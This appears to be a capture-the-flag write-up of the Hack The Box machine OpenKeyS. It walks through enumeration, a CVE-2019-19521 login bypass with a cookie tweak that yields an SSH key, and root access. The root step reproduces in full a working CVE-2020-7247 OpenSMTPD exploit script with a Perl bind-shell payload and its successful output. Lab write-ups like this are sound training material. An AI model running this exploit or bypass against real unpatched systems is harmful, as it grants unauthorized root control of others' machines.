Hack The Box Writeup: OpenKeyS

This box is the first OpenBSD machine I have done on Hack The Box. As the name already tells, it has something to do with OpenSSH keys. The foothold was very interesting, root a bit easy for a medium box. Nevertheless, a great box.

[0x1] Reconnaissance & Enumeration

First action of the day, a portscan! This box only has two open ports, which give me the feeling that the initial foothold will be over a website/webapplication.

nmap -sC -sV -p- -oA openkeys-allports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-11 14:33 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for
Host is up (0.053s latency).
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
| 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open http OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).

Since port 80 is open and runs a webserver, I start gobuster in the background to search for specific files and folders. There are a few folders that could be enumerated by gobuster and the most interesting one is the includes folder.

gobuster dir -u http://openkeys -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,zip
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url: http://openkeys
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php,zip
[+] Timeout: 10s
2020/11/11 14:42:04 Starting gobuster
/index.php (Status: 200)
/images (Status: 301)
/css (Status: 301)
/includes (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/fonts (Status: 301)

A quick check to see what is running on port 80. Just a login page, with nothing more to see or notice in the code.

[0x2] Initial Foothold

During the gobuster scan, I noticed that there was an includes folder. Since I already tried various attacks on the login form, like SQLi, it decided to check out the folder. There are two files in there, one PHP file and a swap file.

I decided to download the file to further analyze them on my machine. The first lines shows something that looks like a username. After that, there is a lot of code, but at the bottom, there is a good hint towards the vulnerability.

b0VIM 8.1
function close_session()
    $_SESSION["username"] = $_REQUEST['username'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["logged_in"] = True;
function init_session()
        return False;
            return True;
            $_SESSION['last_activity'] = $time;
            // Session is active, update last activity time and return True
            return False;
            ($time - $_SESSION['last_activity']) > $session_timeout)
        if (isset($_SESSION['last_activity']) &&
        $time = $_SERVER['REQUEST_TIME'];
        // Has the session expired?
    // Is the user logged in?
    // Start the session
    $session_timeout = 300;
    // Session timeout in seconds
function is_active_session()
    return $retcode;
    system($cmd, $retcode);
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
function authenticate($username, $password)

The username appears to be something like jennifer@openkeys.htb. So that kind of hints to the fact that we need a password or something. The last lines include a hint to the check_out file. After some searching on the web, based on this file, I found an article about a vulnerability identified as CVE-2019-19521: Authentication bypass. It says that there is a way to bypass authentication by using a flaw in the way OpenBSD parses the username. Entering ‘-schannel’ as the username and a random password makes OpenBSD thinks you are providing the parameter ‘-option’ to tell the library to use the challenge protocol.

So, the first thing I did is to enter –schannel as the username and idontknow as the password. After submitting this set of credentials the website shows a successful login, but no key 🙁

So having this method to login is not all that is needed to crash this party. Since there is no other way to use the found username ‘jennifer’ in this login and keep the -schannel, I tried adding it to the request to pass along with the cookie.

As you can see the username is ‘-schannel’ and the password something random. At the end of the cookie, I added ‘username=jennifer’ and after that forward the request to the server.


Bingo! The website returns the private key for Jennifer. Knowing that the server also had OpenSSH running on 22/tcp, this might get me in the box.


I stored the private key in a file and used it to connect with the username ‘jennifer’ to the box. It worked instantly and now I have a full shell on the machine.

ssh jennifer@openkeys.htb -i sshkey_jennifer.txt
The authenticity of host 'openkeys.htb (' can't be established.
ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA. 
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openkeys.htb' (ECDSA) to the list of known hosts.
Last login: Wed Jun 24 09:31:16 2020 from
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ whoami

[0x3] Path to User flag

With the fresh shell for jennifer, I try to see if the user flag is part of this account. A quick ls shows the user.txt file.

openkeys$ ls -la
total 40
drwxr-xr-x 3 jennifer jennifer 512 Jun 23 13:58 .
drwxr-xr-x 3 root wheel 512 Jan 13 2020 ..
-rw-r--r-- 1 jennifer jennifer 87 Jan 13 2020 .Xdefaults
-rw-r--r-- 1 jennifer jennifer 771 Jan 13 2020 .cshrc
-rw-r--r-- 1 jennifer jennifer 101 Jan 13 2020 .cvsrc
-rw-r--r-- 1 jennifer jennifer 359 Jan 13 2020 .login
-rw-r--r-- 1 jennifer jennifer 175 Jan 13 2020 .mailrc
-rw-r--r-- 1 jennifer jennifer 215 Jan 13 2020 .profile
drwx------ 2 jennifer jennifer 512 Jan 13 2020 .ssh
-rw-r----- 1 jennifer jennifer 33 Jan 14 2020 user.txt

There is always a chance that we do not have permissions on the file, or that the content is encrypted. In this case the flag is readable and ready to submit.

openkeys$ cat user.txt

[0x4] Path to Root flag -privilege escalation

The first thing I did, after grabbing the flag, is to look around a bit. I didn’t find any interesting files and linpeas also did not tell me anything interested. After a while, i search the internet for known privilege escalations in OpenBSD 6.6. I found an article about Local Exploits for OpenBSD 6.6, which included some interesting scripts for several CVE’s.

There was a vulnerability known as CVE-2020-7247 (OpenBSD OpenSMTPD 6.6 local root exploit) which grabbed my attention. It uses a flaw in the OpenSMTP daemon to execute commands as root via a crafted MAIL FROM address. It also includes the exploit code for this CVE, which I pasted to a bash script on the machine.

# root66 - OpenBSD 6.6 OpenSMTPD 6.6 local root exploit for CVE-2020-7247
# starts a perl bindshell on port 1337 with root privileges
# Code mostly stolen from Qualys PoCs:
# - https://www.openwall.com/lists/oss-security/2020/01/28/3
# - https://blog.qualys.com/laws-of-vulnerabilities/2020/01/29/openbsd-opensmtpd-remote-code-execution-vulnerability-cve-2020-7247
# - https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
# ---
# openbsd-6-6-x64$ ./root66
# OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247)
# [*] id: uid=1001(test) gid=1001(test) groups=1001(test)
# [*] checking system ...
# [*] directory /tmp/.payload is writable
# [*] 019_smtpd_exec patch has not been installed
# [*] writing payload to /tmp/.payload ...
# [*] executing /tmp/.payload ...
# <<< 220 openbsd-6-6-x64.localdomain ESMTP OpenSMTPD
# >>> EHLO localhost
# <<< 250-openbsd-6-6-x64.localdomain Hello localhost [local], pleased to meet you
# <<< 250-8BITMIME
# <<< 250-SIZE 36700160
# <<< 250 HELP
# >>> MAIL FROM:<;/tmp/.payload;#@>  
# <<< 250 2.0.0 Ok
# >>> RCPT TO:<test@openbsd-6-6-x64.localdomain> 
# <<< 250 2.1.5 Destination address valid: Recipient ok
# >>> DATA
# <<< 354 Enter mail, end with "." on a line by itself
# >>> .
# <<< 250 2.0.0 9493d192 Message accepted for delivery
# >>> QUIT
# <<< 221 2.0.0 Bye
# [*] cleaning up /tmp/.payload ...
# [*] connecting to ...
# Connection to 1337 port [tcp/*] succeeded!
# id
# uid=0(root) gid=0(wheel) groups=0(wheel)
# uname -a
# OpenBSD openbsd-6-6-x64.localdomain 6.6 GENERIC#353 amd64
# ---
# 2020-01-31 - <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2020-7247

/bin/echo "OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247)"

/bin/echo "[*] id: `id`"
/bin/echo "[*] checking system ..."

if [ -w `dirname $payload` ]; then
  /bin/echo "[*] directory $payload is writable"
  /bin/echo "[-] directory $payload is not writable"
  exit 1
if syspatch -l | grep -q 019_smtpd_exec ; then
  /bin/echo "[-] 019_smtpd_exec patch has been installed"
  exit 1
  /bin/echo "[*] 019_smtpd_exec patch has not been installed"

/bin/echo "[*] writing payload to $payload ..."
cat > $payload << "EOF"
perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,1337,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'
/bin/chmod +x $payload
/bin/echo "[*] executing $payload ..."
/bin/echo | /usr/sbin/sendmail -v -f "<;$payload;#@>" `whoami`
/bin/sleep 1
/bin/echo "[*] cleaning up $payload ..."
/bin/rm $payload
/bin/echo "[*] connecting to ..."
nc -v 1337

I saved the script as exploit.sh and gave it execute permission. After running the script, you see the payload is placed in the MAIL FROM ‘>>> MAIL FROM:<;/tmp/.payload;#@>’

openkeys$ chmod +x exploit.sh 
openkeys$ ./exploit.sh 
OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247)
[*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
[*] checking system ...
[*] directory /tmp/.payload is writable
[*] 019_smtpd_exec patch has not been installed
[*] writing payload to /tmp/.payload ...
[*] executing /tmp/.payload ...
<<< 220 openkeys.htb ESMTP OpenSMTPD
>>> EHLO localhost
<<< 250-openkeys.htb Hello localhost [local], pleased to meet you
<<< 250-8BITMIME
<<< 250-SIZE 36700160
<<< 250 HELP
>>> MAIL FROM:<;/tmp/.payload;#@> 
<<< 250 2.0.0 Ok
>>> RCPT TO:<jennifer@openkeys.htb> 
<<< 250 2.1.5 Destination address valid: Recipient ok
>>> DATA
<<< 354 Enter mail, end with "." on a line by itself
>>> .
<<< 250 2.0.0 4d2c6e41 Message accepted for delivery
>>> QUIT
<<< 221 2.0.0 Bye
[*] cleaning up /tmp/.payload ...
[*] connecting to ...
Connection to 1337 port [tcp/*] succeeded!

The last line shows the exploit ran successfully and the local reverse shell is connected. It does not show any other information, so to see if it really is successfully exploited I do a ‘whoami’. Guess what? I am root!

uid=0(root) gid=0(wheel) groups=0(wheel)

The last thing to do before I can officially call the boxed ‘rooted’ is to grab the flag and submit it. Another nice box done and dusted.

cat root.txt

[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.